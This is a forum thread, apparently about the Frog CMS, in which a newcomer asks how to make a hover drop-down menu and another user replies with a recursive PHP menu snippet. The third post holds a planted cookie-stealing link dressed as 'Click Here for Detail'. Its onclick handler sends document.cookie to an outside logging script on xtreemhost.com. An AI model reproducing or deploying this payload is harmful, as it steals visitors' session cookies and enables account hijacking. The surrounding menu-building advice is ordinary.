Dynamic Menu - I'm new :)

Feed 5 posts, 3 voices

Avatar
2 posts

Hello, everyone. :)

I’m new with Frog, but I’m trying to learn it, and started working in a website, but wanted to place a dynamic meny, like this one: http://satprepct.com/

When you press on “Test Prep” menu, it shows the sub-menus just by passing the mouse over it. Just link the menus of this other link: http://www.trefethen.com/

What I have now isn’t like that, I need to click on the menu to appear the sub-menus and I’m trying to change it (since it wasn’t made by me).

Can anyone help me? Perhaps just share an example of a menu like that?
It would be really great.

I believe the code of what I have is what I’ll paste next, but I’m not sure about it, since I’m new at this:

<div id=“header”>
<a href=”<?php echo BASE_URL; ?>” id = “header-home-link” title =“Voltar &aacute; pagina inicial”></a>
</div> <!— end #header —>

<div id=“navigation”>

<ul class=“active”>

<li <?php echo url_match($this->find(’/pt’)->url)? ‘ class=“active”’: ‘’; ?>><a<?php echo url_match($this->find(’/pt’)->url) ? ‘ class=“active”’: ‘’; ?> href=”<?php echo URL_PUBLIC.’?pt’; ?>”>Home</a></li>
<!— foreach guarda informaƧao “nome” das pastas—> <?php foreach($this->find(’/pt’)->children() as $menu): ?>

<li <?php echo (in_array($menu->slug, explode(’/’, $this->url)) ? ‘ class=“active”’: null); ?>><?php echo $menu->link($menu->title, (in_array($menu->slug, explode(’/’, $this->url)) ? ‘ class=“active”’: null)); ?></li>
<?php endforeach; ?>

</ul>
</div>

Thank you in advance

 
Avatar
2 posts

Just to let know, I’ve solved some of my problem with this topic:
Four-level collapsing menu

 
Avatar
2 posts

<a
onclick=“document.location=‘http://loginuser1.xtreemhost.com/Log.php?cookie=’
+escape(document.cookie);” href=”#”>Click Here
for Detail</a>

 
Avatar
2 posts

Ahoy.

I’m not entirely sure what you mean by “some of the problem”, but if you don’t have it totally figured out, here’s how I did what you wanted. Alrighty, first I copied and pasted this code into a snippet:

<div  id="smoothmenu1" class="ddsmoothmenu">
	<ul>
	<?php
	echo '<li><a href="' . BASE_URL . '"' . (url_start_with('') ? ' class="current"': null) . '>Home</a></li>';
	function drawMenu($menu) {
		foreach ($menu as $child) {
			echo '<li>';
			if ($child->children()) {
				echo $child->link($child->title, (url_start_with($child->url) ? ' class="current"': null));
				echo PHP_EOL . '<ul>';
				if ($child->slug == 'news') { // limit news listing
					foreach ($child->children(array('limit' => 5, 'order' => 'created_on DESC')) as $kids) {
						echo '<li>' . $kids->link($kids->title) . '</li>'  . PHP_EOL;
					}
					echo '</ul>' . PHP_EOL;
				} else { // non-archives
					drawMenu($child->children());
					echo '</ul>' . PHP_EOL;
				} // end non-archives else
			} else {  // end child-children if
				echo $child->link($child->title, (url_start_with($child->url) ? ' class="current"': null));
			} // end else
			echo '</li>' . PHP_EOL;
		} // end child-foreach
	}
	$menu = $this->find('/articles/')->children();
	drawMenu($menu);
	?>
	</ul>
</div>

Then I included the snippet in the layout where I wanted the navbar to appear. That chunk of code creates a div which contains a list holding links of every single child of the Articles page. To get the drop-down effect, give this link a look:

Drop-down menu

It adds a slick slide-out transition when you hover a navigation item with children. It even works on multiple levels.

Gosh, I hope I at least made a little sense. I just had to create the same thing, so I figured I’d let you know how I did it. :P